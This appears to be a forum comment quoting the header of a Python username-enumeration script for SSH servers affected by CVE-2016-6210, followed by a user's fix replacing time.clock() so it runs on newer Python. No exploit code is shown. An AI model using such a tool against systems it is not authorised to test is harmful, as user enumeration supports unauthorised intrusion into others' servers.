#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
#                        Wonder how the guys at packet storm could get this wrong :(
# 
# Date:                  2020-08-01
# 
# Purpose:               User name enumeration against SSH daemons affected by CVE-2016-6210. 
# 
# Prerequisites:         Network access to the SSH daemon.
#
# DISCLAIMER:            Use against your own hosts only! Attacking stuff you are not 
#                        permitted to may put you in big trouble!
#
# And now - the fun part :-)

time.clock() - this clock function dosent work anymore since The clock() function has been removed in Python 3.8, so we have to use perf_counter or process_time .
we can use time.process_time() and rest of the code will work!
Reference - https://bobbyhadz.com/blog/python-attributeerror-module-time-has-no-attribute-clock#:~:text=The%20Python%20%22AttributeError%20module%20'time,perf_counter()%20or%20time.

i changed time.clock() to time.perf_counter() and i believe it works, it seemed to run but not 100% on if it done what it was meant to. Just tried time.process_time() and got similar results, so both ways have same outcome.
